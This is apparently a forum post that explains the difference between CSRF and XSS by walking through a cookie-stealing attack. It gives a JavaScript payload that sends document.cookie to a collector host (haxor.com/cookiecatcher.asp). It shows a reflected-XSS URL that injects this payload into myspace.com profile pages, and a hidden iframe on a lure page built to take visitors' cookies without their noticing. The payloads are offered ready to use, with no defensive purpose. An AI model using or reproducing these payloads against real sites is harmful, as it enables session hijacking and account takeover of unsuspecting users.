maybe you just got your acronyms mixed up, but you can't do it with CSRF, document.cookie appends the cookies for the page the javascript is run from. Thus you need an XSS hole to do it.
Putting this on your evil.com website:
<script>document.write('<img src="http://haxor.com/cookiecatcher.asp?'+document.cookie+'">')</script>will obviously just insert the cookies for evil.com
That's where XSS comes in - injecting that javascript into myspace..
http://myspace.com/profile?id="><script>document.write('<img src="http://haxor.com/cookiecatcher.asp?'+document.cookie+'">')</script>
You'll probably have to hex encode the + to %2B among others. and this will send the myspace cookies to haxor.com
This has nothing to do with CSRF though, all XSS. And to make the link more subtle.. send them to evil.com/happykittendance.html .. and inside your happykittendance.html include the following:
<iframe height=0 width=0 style="visibility:hidden" src="http://myspace.com/profile?id=%27><script>document.write('<img%20src=%22http://haxor.com/cookiecatcher.asp?'%2Bdocument.cookie%2B'%22>')</script>">
When they visit happykittendance.html .. a hidden iframe will eat their cookies - using only XSS
-maluc